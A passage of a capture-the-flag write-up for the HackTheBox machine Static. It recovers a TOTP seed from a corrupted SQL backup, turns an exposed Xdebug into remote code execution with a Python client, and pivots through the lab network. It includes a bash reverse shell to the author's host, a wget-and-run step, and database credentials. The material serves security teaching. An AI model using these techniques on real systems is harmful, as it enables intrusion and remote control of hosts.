HTB: Static
Static was a really great hard box. I’ll start by finding a corrupted gzipped SQL backup, which I can use to leak the seed for a TOTP 2FA, allowing me access to an internal page. There I’ll get a VPN config, which I’ll use to connect to the network and get access to additional hosts. There’s a web host that has xdebug running on it’s PHP page, allowing for code execution. From there, I’ll pivot to a PKI host that I can only reach from web. I’ll exploit a PHP-FPM bug to get a shell on there. On this box, there’s a binary with setuid capabilities and a format string exploit, which I’ll use to leak addresses and then overwrite the path to a binary called to have it run my reverse shell. In Beyond Root, I’ll look at an unintended Path Hijack in an actual open-source program, easy-rsa.
Box Info
Name | Static Play on HackTheBox |
---|---|
Release Date | 19 Jun 2021 |
Retire Date | 18 Dec 2021 |
OS | Linux |
Base Points | Hard [40] |
Rated Difficulty | |
Radar Graph | |
00:38:22 |
|
03:16:24 |
|
Creator |
Recon
nmap
nmap
found three open TCP ports, two SSH (22 and 2222) and HTTP (8080):
oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.246
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 14:41 EDT
Nmap scan report for 10.10.10.246
Host is up (0.040s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
2222/tcp open EtherNetIP-1
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 44.74 seconds
oxdf@parrot$ nmap -p 22,2222,8080 -sCV -oA scans/nmap-tcpscripts 10.10.10.246
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 14:44 EDT
Nmap scan report for 10.10.10.246
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
| 256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_ 256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.63 seconds
Based on the OpenSSH version on port 22 and the Apache version, the host is likely running Debian 10 Buster. The SSH on 2222 looks to match Ubuntu 18.04 Bionic. Anytime there are two SSH listeners, especially of different OS versions, my first thought is Docker containers.
nmap
also found robots.txt
with two entries. I’ll be sure to check that out.
Website - TCP 8080
Site
The main site just returns an empty page. Looking at the response in Burp, it is a 200 response, but there’s no body:
HTTP/1.1 200 OK
Date: Tue, 27 Jul 2021 20:41:27 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
To check out what kind of site it is, I tried index.php
, and it returned the same blank 200. That’s a good sign that PHP is being used.
There is a robots.txt
file, as nmap
identified:
oxdf@parrot$ curl http://10.10.10.246:8080/robots.txt
User-agent: *
Disallow: /vpn/
Disallow: /.ftp_uploads/
Directory Brute Force
Before looking at those, I’ll start feroxbuter
in the background to look for additional paths. I’ll include -x php
since I know the site is PHP:
oxdf@parrot$ feroxbuster -u http://10.10.10.246:8080 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.246:8080
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 0l 0w 0c http://10.10.10.246:8080/index.php
403 9l 28w 279c http://10.10.10.246:8080/server-status
[####################] - 33s 59998/59998 0s found:2 errors:0
[####################] - 32s 59998/59998 1849/s http://10.10.10.246:8080
Nothing.
/vpn/
Interestingly, going to /vpn
returns a 404 not found, but /vpn/
returns a 302 redirect to /vpn/login.php
, which presents a very plain login form:
When I try creds that shouldn’t work, it tells me:
When I tried admin / admin, it worked, but I need 2FA:
Entering a code just redirects back to the username and password form. I could try to brute force this if I get stuck elsewhere.
/.ftp_uploads
/.ftp_uploads
(with or without the trailing slash) leads to a directory with listing enabled:
warning.txt
is just that, a warning:
Binary files are being corrupted during transfer!!! Check if are recoverable.
The other file looks like a database backup based on the name, and file
confirms:
oxdf@parrot$ file db.sql.gz
db.sql.gz: gzip compressed data, was "db.sql", last modified: Thu Jun 18 15:43:42 2020, from Unix, original size modulo 2^32 355
Unfortunately, it seems it’s corrupt:
oxdf@parrot$ gunzip db.sql.gz
gzip: db.sql.gz: invalid compressed data--crc error
gzip: db.sql.gz: invalid compressed data--length error
Shell as www-data on web
Recover DB
gzip / zcat
As I noted above, running gunzip
bails out because it CRC errors. This Stackoverflow post talks about how gzip
itself (which is called by gunzip
) will decompress all the valid data it can before checking the CRC, which means it can be called to get as much data as possible:
oxdf@parrot$ gzip -dc < db.sql.gz > db.sql
gzip: stdin: invalid compressed data--crc error
gzip: stdin: invalid compressed data--length error
It still prints errors, but there’s also a db.sql
file now:
oxdf@parrot$ file db.sql
db.sql: ASCII text
oxdf@parrot$ cat db.sql
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsignint a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS iaA;
INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
IN
This also works the same way with zcat
:
oxdf@parrot$ zcat db.sql.gz
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsignint a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS iaA;
INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
IN
gzip: db.sql.gz: invalid compressed data--crc error
gzip: db.sql.gz: invalid compressed data--length error
It’s clearly not perfect, but it’s possible that I have a hash there? I know the password is “admin”, so I can find the SHA1 of it and compare:
oxdf@parrot$ echo "d05nade22ae348aeb5660fc2140aec35850c4da997"; echo -n "admin" | sha1sum
d05nade22ae348aeb5660fc2140aec35850c4da997
d033e22ae348aeb5660fc2140aec35850c4da997 -
So it’s close, but not something really usable.
fixgz
This Stackoverflow post talks about Gzip’s fixgz
utility, which used to be on the gzip.org website, but apparently is no longer. Fortunately, someone has hosted the source on GitHub.
I’ll clone the repo and compile it:
oxdf@parrot$ git clone https://github.com/yonjar/fixgz.git
Cloning into 'fixgz'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 10 (delta 1), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (10/10), 9.19 KiB | 9.19 MiB/s, done.
Resolving deltas: 100% (1/1), done.
oxdf@parrot$ cd fixgz/
oxdf@parrot$ gcc fixgz.cpp -o fixgz
oxdf@parrot$ ./fixgz
usage: fixgz bad.gz fixed.gz
Now I’ll give it a run on the file. The output is still gzipped data:
oxdf@parrot$ /opt/fixgz/fixgz db.sql.gz db.sql-fixed.gz
oxdf@parrot$ file db.sql-fixed.gz
db.sql-fixed.gz: gzip compressed data, was "db.sql", last modified: Thu Jun 18 15:43:42 2020, from Unix, original size modulo 2^32 355
The file is much cleaner now:
oxdf@parrot$ zcat db.sql-fixed.gz
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) );
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );
The hash without fixgz
wasn’t complete, but the time-based one time password (TOTP) field was.
d033e22ae348aeb5660fc2140aec35850c4da997
is the SHA1 hash for the string “admin”. That makes sense with the already guessed login. The totp
field is definitely interesting.
Login To Page
Initial Failures
I have a TOTP seed. In Jewel, I used a tool called oathtool (apt install oathtool
). I tried that here to generate a token:
oxdf@parrot$ oathtool -b --totp 'orxxi4c7orxwwzlo'
513362
I’ll log in with admin / admin, and then enter the token, but it just routes back to the login form. I did some playing around with other tools to make sure it wasn’t a tool issue. Python has a pyotp
module. I’ll import the module and create an object with the seed:
oxdf@parrot$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyotp
>>> totp = pyotp.TOTP('orxxi4c7orxwwzlo')
Looking at the functions available, there’s a now
function:
>>> dir(totp)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'at', 'byte_secret', 'digest', 'digits', 'generate_otp', 'int_to_bytestring', 'interval', 'now', 'provisioning_uri', 'secret', 'timecode', 'verify']
It generates a similar token:
>>> totp.now()
'561157'
That token matches what oathtool
generates at the same time. There is also the at
function, which will allow me to get the token at a given time.
NTP
For this kind of time-based token to work, the target computer and my computer need to have the same time. So if there’s a skew between the two clocks, the token won’t work.
nmap
is kind of vague as to if NTP is open:
oxdf@parrot$ nmap -sU -p 123 10.10.10.246
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 16:16 EDT
Nmap scan report for 10.10.10.246
Host is up (0.018s latency).
PORT STATE SERVICE
123/udp open|filtered ntp
Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds
But with version detection, it shows a version, which is a really good sign it’s open:
oxdf@parrot$ nmap -sU -p 123 -sV 10.10.10.246
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 16:17 EDT
Nmap scan report for 10.10.10.246
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
123/udp open ntp NTP v4 (unsynchronized)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
If I add in default scripts, it actually returns the skew:
oxdf@parrot$ nmap -sU -p 123 -sCV 10.10.10.246
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 16:17 EDT
Nmap scan report for 10.10.10.246
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
123/udp open ntp NTP v4 (unsynchronized)
| ntp-info:
|_
Host script results:
|_clock-skew: 3m19s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.96 seconds
I could have also found this with ntpdate
:
oxdf@parrot$ ntpdate -q 10.10.10.246
server 10.10.10.246, stratum 16, offset +195.503495, delay 0.05276
2 Aug 16:19:12 ntpdate[4037]: no server suitable for synchronization found
The “offset” of 195 seconds is pretty close to the result from nmap
.
Or, of course, I could do it in Python, which will come in handy in the next section:
>>> import ntplib
>>> from time import ctime
>>> c = ntplib.NTPClient()
>>> resp = c.request('10.10.10.246')
>>> print(ctime(resp.tx_time))
Mon Aug 2 16:24:01 2021
One other thing about using VirtualBox - I had to stop the service on my host, or it would fix the time inside the guest VM:
sudo service virtualbox-guest-utils stop
Generate TOTP Token
With the time on Static, I can write a Python script that will get the time, and then generate the token.
#!/usr/bin/env python3
import ntplib
import pyotp
from time import ctime
c = ntplib.NTPClient()
resp = c.request("10.10.10.246")
print(f"Current time on Static: {ctime(resp.tx_time)}")
totp = pyotp.TOTP("orxxi4c7orxwwzlo")
print(f"Token: {totp.at(resp.tx_time)}")
Running this generates a token:
oxdf@parrot$ python3 gen_totp.py
Current time on Static: Mon Aug 2 16:27:20 2021
Token: 899415
And entering it into the login page works!
Access Internal Network
Enumerate Site
The site looks like an internal IT site:
It has a status for various servers with IP addresses. I thought I might find some API calls or something for the status, but the source shows it is static (could still be dynamically generated at the server).
On entering something into the Common Name field, and clicking the generate button, I’m downloading a .ovpn
config:
The top of this file gives the remote server, port, and protocol:
dev tun9
proto udp
remote vpn.static.htb 1194
dev tun9
specifies the device that will attempt to be added on connection.
Connect
I’ll need to add vpn.static.htb
to /etc/hosts
so that it resolves, but then it’s as simple as running openvpn
:
oxdf@parrot$ sudo openvpn 0xdf.ovpn
2021-08-02 16:47:15 DEPRECATED OPTION: --cipher set to 'AES-256-CBC' but missing in --data-ciphers (AES-256-GCM:AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-256-CBC' to --data-ciphers or change --cipher 'AES-256-CBC' to --data-ciphers-fallback 'AES-256-CBC' to silence this warning.
2021-08-02 16:47:15 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2021
2021-08-02 16:47:15 library versions: OpenSSL 1.1.1k 25 Mar 2021, LZO 2.10
2021-08-02 16:47:15 Outgoing Control Channel Authentication: Using 160 bit message hash 'SHA1' for HMAC authentication
2021-08-02 16:47:15 Incoming Control Channel Authentication: Using 160 bit message hash 'SHA1' for HMAC authentication
2021-08-02 16:47:15 TCP/UDP: Preserving recently used remote address: [AF_INET]10.10.10.246:1194
2021-08-02 16:47:15 Socket Buffers: R=[212992->212992] S=[212992->212992]
2021-08-02 16:47:15 UDP link local: (not bound)
2021-08-02 16:47:15 UDP link remote: [AF_INET]10.10.10.246:1194
2021-08-02 16:47:15 NOTE: UID/GID downgrade will be delayed because of --client, --pull, or --up-delay
2021-08-02 16:47:15 TLS: Initial packet from [AF_INET]10.10.10.246:1194, sid=c0757a85 d64082e0
2021-08-02 16:47:15 VERIFY OK: depth=1, CN=static-gw
2021-08-02 16:47:15 VERIFY KU OK
2021-08-02 16:47:15 Validating certificate extended key usage
2021-08-02 16:47:15 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
2021-08-02 16:47:15 VERIFY EKU OK
2021-08-02 16:47:15 VERIFY OK: depth=0, CN=static-gw
2021-08-02 16:47:15 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, 2048 bit RSA
2021-08-02 16:47:15 [static-gw] Peer Connection Initiated with [AF_INET]10.10.10.246:1194
2021-08-02 16:47:16 SENT CONTROL [static-gw]: 'PUSH_REQUEST' (status=1)
2021-08-02 16:47:16 PUSH: Received control message: 'PUSH_REPLY,route 172.17.0.0 255.255.255.0,route-gateway 172.30.0.1,topology subnet,ping 10,ping-restart 120,ifconfig 172.30.0.9 255.255.0.0,peer-id 1,cipher AES-256-GCM'
2021-08-02 16:47:16 OPTIONS IMPORT: timers and/or timeouts modified
2021-08-02 16:47:16 OPTIONS IMPORT: --ifconfig/up options modified
2021-08-02 16:47:16 OPTIONS IMPORT: route options modified
2021-08-02 16:47:16 OPTIONS IMPORT: route-related options modified
2021-08-02 16:47:16 OPTIONS IMPORT: peer-id set
2021-08-02 16:47:16 OPTIONS IMPORT: adjusting link_mtu to 1624
2021-08-02 16:47:16 OPTIONS IMPORT: data channel crypto options modified
2021-08-02 16:47:16 Data Channel: using negotiated cipher 'AES-256-GCM'
2021-08-02 16:47:16 Outgoing Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
2021-08-02 16:47:16 Incoming Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
2021-08-02 16:47:16 net_route_v4_best_gw query: dst 0.0.0.0
2021-08-02 16:47:16 net_route_v4_best_gw result: via 10.1.1.1 dev eth0
2021-08-02 16:47:16 ROUTE_GATEWAY 10.1.1.1/255.255.255.0 IFACE=eth0 HWADDR=08:00:27:6d:87:cb
2021-08-02 16:47:16 TUN/TAP device tun9 opened
2021-08-02 16:47:16 net_iface_mtu_set: mtu 1500 for tun9
2021-08-02 16:47:16 net_iface_up: set tun9 up
2021-08-02 16:47:16 net_addr_v4_add: 172.30.0.9/16 dev tun9
2021-08-02 16:47:16 net_route_v4_add: 172.17.0.0/24 via 172.30.0.1 dev [NULL] table 0 metric -1
2021-08-02 16:47:16 GID set to nogroup
2021-08-02 16:47:16 UID set to nobody
2021-08-02 16:47:16 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
2021-08-02 16:47:16 Initialization Sequence Completed
In another pane, ifconfig
shows that my local VM has a tun9 adapter with an IP on 172.30.0.0/16:
tun9: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 172.30.0.9 netmask 255.255.0.0 destination 172.30.0.9
inet6 fe80::16a6:3fd6:eb92:7bfd prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 192 (192.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Add Route
I’m able to ping vpn (172.30.0.1), which makes sense as it’s on the same network as my VM. I’m not able to ping web (172.20.0.10), db (172.20.0.11), or pki (192.168.254.3).
Running route
on my host shows there’s no route to these networks:
oxdf@parrot$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 10.1.1.1 0.0.0.0 UG 100 0 0 eth0
10.1.1.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
10.1.1.1 0.0.0.0 255.255.255.255 UH 100 0 0 eth0
10.10.10.0 10.10.14.1 255.255.254.0 UG 50 0 0 tun0
10.10.14.0 0.0.0.0 255.255.254.0 U 50 0 0 tun0
172.17.0.0 172.30.0.1 255.255.255.0 UG 0 0 0 tun9
172.30.0.0 0.0.0.0 255.255.0.0 U 0 0 0 tun9
That means that when I try to connect to them, the packets are going out the default gateway, which is my home network gateway, and then onto the internet, where they are not routable because these are RFC-1918 IPs.
I’ll add the route through the VPN gateway:
oxdf@parrot$ sudo route add -net 172.20.0.0/16 gw 172.30.0.1
[sudo] password for oxdf:
oxdf@parrot$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 10.1.1.1 0.0.0.0 UG 100 0 0 eth0
10.1.1.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
10.1.1.1 0.0.0.0 255.255.255.255 UH 100 0 0 eth0
10.10.10.0 10.10.14.1 255.255.254.0 UG 50 0 0 tun0
10.10.14.0 0.0.0.0 255.255.254.0 U 50 0 0 tun0
172.17.0.0 172.30.0.1 255.255.255.0 UG 0 0 0 tun9
172.20.0.0 172.30.0.1 255.255.0.0 UG 0 0 0 tun9
172.30.0.0 0.0.0.0 255.255.0.0 U 0 0 0 tun9
Now I can ping
both web and db:
oxdf@parrot$ ping -c 1 172.20.0.10
PING 172.20.0.10 (172.20.0.10) 56(84) bytes of data.
64 bytes from 172.20.0.10: icmp_seq=1 ttl=63 time=19.7 ms
--- 172.20.0.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 19.681/19.681/19.681/0.000 ms
oxdf@parrot$ ping -c 1 172.20.0.11
PING 172.20.0.11 (172.20.0.11) 56(84) bytes of data.
64 bytes from 172.20.0.11: icmp_seq=1 ttl=63 time=19.1 ms
--- 172.20.0.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 19.115/19.115/19.115/0.000 ms
I tried to add a route for the class-C network with PKI (192.168.254.0/24), but I still can’t ping it. I’ll note that one for later.
Shell
Enumeration
Visiting 172.20.0.10 in Firefox shows a directory with no index and directory listing on:
vpn/
is the same login form I found before. info.php
leads to a PHP info page:
There’s a ton of info there, but one bit that jumps out as unusual, xdebug:
Getting Connection
Xdebug is a PHP extension designed to give developers feedback on their application. It is not meant to run in production. I actually played with this years ago on HTB Olympus. Most configurations limit connection for Xdebug to localhost, but an insecure configuration will allow for it to connect to any IP. In fact, I can look at the PHP info and see that remote debugging is enabled:
I can send a request to the server with the argument XDEBUG_SESSION_START=[some name]
(or with that as a cookie), then the site will connect back to the IP connecting to it on TCP 9000. I can also use the X-Forwarded-For
header to tell it to connect back to another host as well.
For example, I’ll start nc
on tcp 9000, and run curl 172.20.0.10/info.php?XDEBUG_SESSION_START=0xdf
to trigger the debugger. There’s a connection at nc
:
oxdf@parrot$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [172.30.0.9] from (UNKNOWN) [172.30.0.1] 50964
489<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/info.php" language="PHP" xdebug:language_version="7.2.1-1ubuntu2" protocol_version="1.0" appid="50" idekey="0xdf"><engine version="2.6.0"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2018 by Derick Rethans]]></copyright></init>
There’s an Xdebug client that can be downloaded from here, but it isn’t great. I’ll run it, using -p 9000
to listen on port 9000:
oxdf@parrot$ ./dbgpClient -p 9000
Xdebug Simple DBGp client (0.4.2)
Copyright 2019-2020 by Derick Rethans
In dumb client mode
Waiting for debug server to connect on port 9000.
Now I’ll trigger the curl, and there’s a connection:
Waiting for debug server to connect on port 9000.
Connect from 172.30.0.1:51018
DBGp/1.0: Xdebug 2.6.0 — For PHP 7.2.1-1ubuntu2
Debugging file:///var/www/html/info.php (ID: 43/0xdf)
(cmd)
The command syntax is weird. There’s an eval
command, and the syntax is eval -i [id] -- {base64 encoded command}
. So if I wanted to run id
, first I need to encode the PHP:
oxdf@parrot$ echo 'system("id");' | base64
c3lzdGVtKCJpZCIpOwo=
And now send it:
(cmd) eval -i 1 -- c3lzdGVtKCJpZCIpOwo=;
1 | eval
1 | string : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Still, as clunky as that is, it’s RCE.
Script
I’ll write a short Python script that will handle this connection, get a command, decode the response, and print it:
#!/usr/bin/env python
import base64
import re
import socket
res_re = re.compile(r'\<\!\[CDATA\[([A-Za-z0-9+/]+={0,2})\]\]\>')
ip_port = ('0.0.0.0', 9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
client_data = conn.recv(1024)
while True:
cmd = input ('>> ')
cmdstr = f'shell_exec("{cmd}");'.encode('ascii')
conn.sendall(b'eval -i 1 -- ' + base64.b64encode(cmdstr) + b'\x00')
resp = conn.recv(1024)
try:
encoded_res = res_re.search(resp.decode()).group(1)
print(base64.b64decode(encoded_res.encode()).decode().strip())
except AttributeError:
pass
I started with some scripts I found on GitHub (like this), but added in the decode of the response.
It works nicely:
oxdf@parrot$ python xdebug.py
>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
>> pwd
/var/www/html
>> ls
info.php
vpn
Shell
Really, I just need to create a reverse shell, so in theory, writing that Python script is unnecessary. Still, getting a reverse shell was a bit tricky. My go-to reverse shell with Bash didn’t seem to work over the Xdebug run, and nc
isn’t on the box. Eventually, I found that wget
was:
>> which wget
/usr/bin/wget
I’ll write a simple reverse shell script, rev.sh
:
#!/bin/bash
bash -i >& /dev/tcp/172.30.0.9/443 0>&1
With a Python webserver started, I’ll get the shell, and then run it:
>> wget 172.30.0.9/rev.sh -O /tmp/.0xdf
>> bash /tmp/.0xdf
There’s a hit at the webserver:
172.30.0.1 - - [02/Aug/2021 20:51:35] "GET /rev.sh HTTP/1.1" 200 -
And then a reverse shell at nc
:
oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [172.30.0.9] from (UNKNOWN) [172.30.0.1] 47032
bash: cannot set terminal process group (39): Inappropriate ioctl for device
bash: no job control in this shell
www-data@web:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I’ll upgrade my shell:
www-data@web:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@web:/var/www/html$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@parrot$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@web:/var/www/html$
The user flag is in /home
:
www-data@web:/home$ ls
user.txt www-data
www-data@web:/home$ cat user.txt
cc0563a9************************
Shell as www-data on pki
Enumeration
web
There’s not a ton on web. It feels like a Docker container. There’s a /entry.sh
file that starts SSH and Apache:
#!/bin/bash
service ssh restart
service apache2 restart && tail -f /var/log/apache2/error.log
ifconfig
shows two NICs, where eth0 has 172.20.0.10 and eth1 has 192.168.254.2 (same subnet as the pki host from the status page).
There is a www-data user in /home
(which is a bit odd), and a RSA key pair in /home/www-data/.ssh
, and the public key is in the authorized_keys
file, so I can grab the private key and get an ssh shell:
oxdf@parrot$ ssh -i ~/keys/static-www-data-172.20.0.10 www-data@172.20.0.10
...[snip]...
www-data@web:~$
This will prove super useful for pivoting around this little network.
The web directory contains info.php
and vpn/
, just like the listing showed:
www-data@web:/var/www/html$ ls
info.php vpn
There must be some rule on the main host that is sending back blank responses for /
and not forwarding them to the container.
The vpn
directory has a handful of PHP files:
www-data@web:/var/www/html/vpn$ ls
actions.php database.php header.php index.php login.php panel.php src
panel.php
first checks that the user is authed:
if($_SESSION['auth']!="GRANTED"){
session_destroy();
header("Location: index.php");
Then it checks for the POST request that’s generated when asking for a VPN key:
} else {
if(isset($_POST['cn'])){
$cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_POST['cn']);
header('Content-type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$cn.'.ovpn"');
$handle = curl_init();
$url = "http://pki/?cn=".$cn;
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($handle);
curl_close($handle);
echo $output;
die();
}
It’s using curl
to connect to the pki host and returning the results (which I know from interacting with the site is the VPN config file).
The rest of the page is static HTML giving the table of hostnames / IPs.
login.php
handles the two step login process with username / password then TOTP. It includes database.php
, which has the connection info:
<?php
$servername = "db";
$username = "root";
$password = "2108@C00l";
$dbname = "static";
?>
Tunneling
To check out the rest of the network, I’ll use SSH as a socks proxy with the -D 9001
option. This will have my host listen on 9001 as a proxy. This enables setting FoxyProxy in FireFox or using proxychains
with tools on my host, and from a networking point of view, it’s as if they are coming from within the network on web.
At the end of /etc/proxychains.conf
, I’ll configure it to use this proxy:
[ProxyList]
socks4 127.0.0.1 9001
I’ll also configure a proxy in Burp, in the User Options –> Connections tab, under SOCKS Proxy:
Now any traffic going through Burp will then go through the SSH tunnel and then to its destination.
db
With creds to the DB, I’ll connect using mysql
and proxychains
from my host:
oxdf@parrot$ proxychains mysql -h 172.20.0.11 -u root -p2108@C00l static
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:9001-<><>-172.20.0.11:3306-<><>-OK
...[snip]...
MariaDB [static]>
There’s not a lot here. static is the only DB of interest, and there’s only one table with one row:
MariaDB [static]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| static |
+--------------------+
4 rows in set (0.020 sec)
MariaDB [static]> show tables
-> ;
+------------------+
| Tables_in_static |
+------------------+
| users |
+------------------+
1 row in set (0.022 sec)
MariaDB [static]> select * from users;
+----+----------+------------------------------------------+------------------+
| id | username | password | totp |
+----+----------+------------------------------------------+------------------+
| 1 | admin | d033e22ae348aeb5660fc2140aec35850c4da997 | orxxi4c7orxwwzlo |
+----+----------+------------------------------------------+------------------+
1 row in set (0.021 sec)
pki
In my browser (configured to go through Burp which will then go through the SSH SOCKS proxy), visiting http://192.168.254.3/
returns a single line of text:
ersatool
is not a public tool that I could find.
If I add ?cn=something
to the end (which is what the PHP code on web did), it returns the VPN config:
Looking a the raw request and response in Burp, the X-Powered-By
header shows a specific PHP version:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Aug 2021 13:43:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP-FPM/7.1
Content-Length: 53
batch mode: /usr/bin/ersatool create|print|revoke CN
It also shows that it’s likely executing /usr/bin/ersatool
to create the keys.
Command Injection [Fail]
Given the hint that the program is running a binary, my first thought was command injection. I tried a bunch things like ;
, ||
, &
, etc. Nothing seemed to work. Eventually I tried putting a bunch of these characters in between known test strings:
All the special characters were removed. There’s clearly some kind of filtering going on, and I didn’t find a way around it (as I’ll see in a minute, there is no way around it).
CVE-2019-11043
Background
